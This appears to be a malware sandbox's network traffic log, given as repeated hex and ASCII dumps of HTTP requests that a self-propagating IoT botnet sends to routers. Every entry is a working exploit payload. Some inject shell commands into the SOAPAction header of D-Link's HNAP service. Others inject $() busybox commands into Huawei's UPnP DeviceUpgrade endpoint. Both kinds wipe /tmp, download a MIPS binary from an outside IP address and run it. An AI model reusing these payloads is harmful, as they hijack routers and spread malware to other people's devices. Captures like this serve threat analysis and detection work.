64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
